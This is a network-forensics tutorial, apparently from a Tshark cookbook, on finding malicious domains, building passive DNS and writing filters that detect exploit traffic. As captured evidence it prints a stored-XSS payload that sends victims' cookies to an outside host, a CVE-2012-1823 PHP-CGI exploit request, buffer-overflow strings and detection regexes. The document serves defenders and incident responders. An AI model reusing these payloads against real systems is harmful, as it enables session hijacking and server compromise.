This recipe will show new parameters and filters of Tshark through practical examples that will help us to resolve many security incidents efficiently. We'll see how to locate malicious domains in our network, how to create a passive DNS service, and how we can do specialized searches with certain display filters.
The method that follows shows how to implement useful filters using just Tshark.
Knowing the pages to which users connect may be useful not only to meet web browsing patterns but also to locate infected computers. Here's an example:
bmerino@Mordor:$ tshark -R http.request -T fields -e http.host -r malware.pcap | sort -u > domains
This command will dump all domains visited via HTTP to a text file. Now we can download an updated blacklist of malicious sites and see if any of the domains requested are listed in it:
bmerino@Mordor:$ wget -q http://dns-bh.sagadc.org/justdomains -O mlwDomains bmerino@Mordor:$ grep -f domains mlwDomains apendiksator.ru
The output tells us that at least one visited domain contains a malicious code. A search for that domain in http://www.malwaredomainlist.com confirms it contains the Blackhole exploit kit 2.0, which is why it has been blacklisted; so it is likely that the hosts that have visited this page may have been exploited. Let's see what hosts visited that domain:
bmerino@Mordor:$ tshark -o column.format:'"Source","%s"' -r malware.pcap -R "http.host == apendiksator.ru " | sort -u 192.168.1.42
It seems that only that IP visited the malicious domain. If we consult the User-Agent of the browser used to access it, we can get useful information which may be of help in determining whether an exploit could be successful or not, especially if we detect a malicious domain that attempts to exploit some vulnerability in the browser.
bmerino@Mordor:$ tshark -R http.request -T fields -e http.user_agent -r malware.pcap -R "http.host == apendiksator.ru" | sort -u Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
A detailed analysis of subsequent connections from that host after visiting the domain would help us to clarify the facts, but this is beyond the scope of this guide.
If we have access to a DNS server with a large volume of traffic, it could be useful to us at any given time to implement a passive DNS service. The idea is to record the authoritative DNS responses sent to clients to know the IP domain association of each of the DNS queries. Having a history with this information will help to identify fast-flux botnets that constantly update DNS with very low TTL values, know what domain names are on a given IP, where a domain name pointed to in the past, and so on. With Tshark we can easily do this by running the following command:
bmerino@Mordor:$ tshark -i eth0 -f "src port 53" -R "dns.flags.authoritative == 1" -n -T fields -e dns.qry.name -e dns.resp.addr -E occurrence=f
This command would generate the following output:
Capturing on eth0 securityartwork.es 90.161.233.229 google.com 212.106.221.23 dropbox.com 199.47.216.179
Let's see now an example with the operator matches
:
Since many exploits are made up of long chains of characters necessary to align the shellcode in memory, we can define a filter to look for packets that contain long strings such as
0×4141414141
,0×9090909090
(NOPs), or similar. To do this we can run:bmerino@Mordor:/$ tshark -r ftpOverflow.pcap -R 'tcp matches "([\x41-\x5A,\x30-\x39,\x90])\\1{200,}"' –q
To demonstrate, however, the power that this operator can have, we will use a more complex filter. In this case we use a filter to find exploits against our web server that attempt to take advantage of a RET address or a Structured Exception Handling (SEH). According to the output, we can see how an attacker tried to exploit the web server taking advantage of the
HEAD
parameter. The long string ofA
followed by the backward short jmp(\x90\x90\xeb
) matched the filter. Now that we have already identified the payload, we could dump it to a binary file and usescdbg
or our preferred debugger to analyze the shellcode:bmerino@Mordor:/tmp$ tshark -r webExploit.pcap -R 'tcp matches "([\x41-\x5A,\x30-\x39,\x90])\\1{100,}.*((W00TW00T|w00tw00t|\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e)|(\xeb\.\x90\x90|\x90\x90\xeb.|([\x61]){5}))?"' -x 3 0.002129000 192.168.1.129 -> 192.168.1.130 HTTP 1246 HEAD /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Let's take another example. Just last year, a vulnerability in web servers running PHP as CGI (
CVE-2012-1823
) allowed attackers to execute remote code. Until the release of a patch to fix the problem, this vulnerability was used to compromise many web servers around the world. In cases like this, Tshark can be of great help to monitor any attempt to attack a server. Since many of the attacks used theauto_prepend_file
andallow_url_include
functions along with the-d
parameter in GET/POST requests, we can create a filter such as this to match any attempt at exploitation:bmerino@Mordor:/$ tshark -r web.pcap -R 'http.request.uri matches "-d.*allow"' 11 56.630402000 192.168.1.150 -> 192.168.1.50 HTTP 534 POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
The operators contains
and matches
will allow us to search for literal strings in received packets. The matches
operator, however, provides the additional advantage of supporting Perl Compatible Regular Expression (PCRE) so it will be of great interest when looking for a variety of attacks such as DDoS, fuzzing, opcodes that match a certain exploit, and so on. In the previous example, many exploits typically have a structure similar to the following:
payload= string + buffer + egg + shellcode + eip + nops + egghunter payload= junk + egg + shellcode + eip + nops + egghunter payload= junk + eip + nops + shellcode payload= junk + egg + shellcode + junk1 + nseh + seh + nops + egghunter payload= nops + shellcode + nops + eip + nops + farjump + nops payload = junk + nseh + seh + nops + shellcode + junk1
We, therefore, used a complex filter to try to match any of these cases. You can see this example in more detail in http://www.securityartwork.es/2011/12/16/buscando-buffer-overflow-desde-wireshark/. Tshark obviously is not the right tool to locate and analyze shellcodes. The example is only intended to demonstrate the filtering power that the matches
operator has. To this end, IDS, such as Snort, are more suitable to detect such attacks. However, keeping some of these filters in mind can save us a lot of time in certain circumstances.
In this recipe we have seen new Tshark parameters. One of the most used has been -T
through which we could mold the output generated by Tshark. This function follows the syntax -T pd
ml|psml|ps|text|fields
, where each of the options represents the output format. Probably the most used by us is fields
, as it allows us to specify which fields we want to show on screen. This parameter will provide us with huge advantages if we want to use the Tshark output to feed other programs or to make our own scripts; something you could not do with Wireshark.
The fields we want to display are indicated by the parameter –e
, and we can optionally specify some aspects of its format by using -E
. For example, to display on screen just the IP source address and the destination TCP port in a comma separated way (CSV format), we would use the following command:
bmerino@Mordor:/$ tshark -r capture.pcap -T fields -e ip.src -e tcp.dstport -E separator=, | head -1 192.168.1.136,443
You can view in more detail the –T
and –E
options in the online help of Thsark (http://www.wireshark.org/docs/man-pages/tshark.html).
Finally, as we will see in the next section, the -V
option will allow us to visualize in great detail the packets received, showing each of the fields of each of the protocols. With -O
, however, we can specify a detailed view only of the comma-separated list of protocols. For example, to show in detail just the OSPF protocol, we would execute Tshark as tshark -i eth0 -O ospf
.
Let's see an example with the contains
operator. We will look for potential XSS attacks in POST requests to our web server:
bmerino@Mordor:/$ tshark -T fields -e frame.time -e ip.src -e ip.dst -e http.request.uri -r XSS.pcap -R 'http.request.method == POST and tcp contains "<script>"'
This would generate the following output:
Jan 9, 2013 13:55:10.710239000 192.168.1.130 192.168.1.129 /doRegister.php
It seems that the host 192.168.1.130 modified one of the POST parameters to inject JavaScript code on our web server (192.168.1.129). Let's see the code:
bmerino@Mordor:/$ tshark -V -r XSS.pcap -R 'http.request.method == POST and tcp contains "<script>"' | grep "<script>"
This would generate the following output:
name="><script>document.location.replace('http://192.168.1.160/cookie.php?c='+document.cookie);</script>&city=spain&mysubmit=0
According to the previous output, the attacker tried to inject the code to produce a persistent XSS taking advantage of the vulnerable field name. This way, when a user visits any page that includes the name registered, the cookie of that user will be sent to the host 192.168.1.160. We could see that the attack was successful after filtering HTTP traffic destined to that host (192.168.1.160):
bmerino@Mordor:/$ tshark -r XSS.pcap -R "tcp.dstport == 80 && ip.dst == 192.168.1.160" | grep cookie
This would generate the following output:
2138 455.082771000 192.168.1.129 -> 192.168.1.160 HTTP 453 GET /cookie.php?c=PHPSESSID=a3iiu2242kllmmae2099sa29322fda HTTP/1.1
As indicated in the output, it appears that the attacker got the cookie from at least one victim. We, therefore, conclude that the stored XSS injection was successful.